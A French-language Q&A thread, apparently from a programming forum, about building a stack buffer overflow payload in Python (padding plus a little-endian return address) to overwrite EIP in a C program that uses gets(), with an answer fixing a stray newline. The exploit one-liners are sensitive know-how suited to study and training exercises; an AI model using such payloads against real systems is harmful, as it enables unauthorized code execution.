2017-10-08 6 views
0

J'essaye de provoquer un débordement de tampon afin d'exécuter une fonction sur le code C. Jusqu'à présent, j'ai déjà réussi à savoir quel est le nombre d'octets à reprendre sur le registre EBP. La seule chose suivante est de substituer l'adresse de EIP à la fonction que je souhaite exécuter. J'essaie de générer cette charge avec python. Pour cela, j'utilise les éléments suivantsComment générer des données utiles avec Python pour un débordement de buffer?

python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 

Voici ce que je reçois

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;� 

avis ces derniers caractères! Je sais que ce n'est pas ce que je devais obtenir. L'adresse que je souhaite utiliser sur le registre EIP est 0804863b. J'ai dû mettre ceci sur little endian pour que l'exploit s'exécute correctement. Des commentaires à ce sujet? Ne pouvant pas aller plus loin avec l'exploit à cause de ça ...

+0

Si vous supprimez le '> attack_payload' est EIP écrasé avec succès avec votre adresse demandée? – DKNUCKLES

+0

@DKNUCKLES ne sais pas comment je ferais cela, sans copier le contenu du fichier, car le code attend une entrée (chaîne) pour nourrir la fonction 'gets'. – fish202

Répondre

1

Je n'ai aucune idée de la façon dont vous avez regardé votre fichier attack_payload. Mais vous ne devriez pas simplement le vider au terminal ou le regarder dans un éditeur - puisque dans ce cas les données seront interprétées comme des caractères. Au lieu de cela, vous devriez faire quelques hexdump du fichier, par exemple avec xxd:

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
... 
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
00000070: 3b86 0408 0a        ;.... 

Comme vous pouvez le voir dans la dernière ligne, les octets \x3b\x86\x04\x08 sont en fait la plupart du temps où vous attendiez ces derniers. Vous n'attendiez probablement pas le caractère de nouvelle ligne \x0a (c'est-à-dire \n) à la fin du fichier mais c'est ce qu'un print en python ajoute. Si vous ne voulez pas ne pas utiliser print mais:

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload 
+0

J'ai juste cat le fichier et copié ces caractères dans stdin (parce qu'une fonction gets demande une chaîne sur le programme). J'ai vu cette procédure dans certains tutoriels. A titre d'exemple, la sortie doit ressembler à ceci: A (...) A <84>^D^H' lorsque cette commande est exécutée. Mais ce que vous dites a du sens pour moi ... Compte tenu de cela, y a-t-il de toute façon à livrer cette charge utile à la fonction get et à déborder le buffer? – fish202

+0

@ fish202: si l'application lit avec stdin juste avec 'app

+0

Bien sûr, mais je ne peux pas le nourrir directement comme ça. Veuillez suivre le [link] (https://pastebin.com/tv7zyvF0) au code. – fish202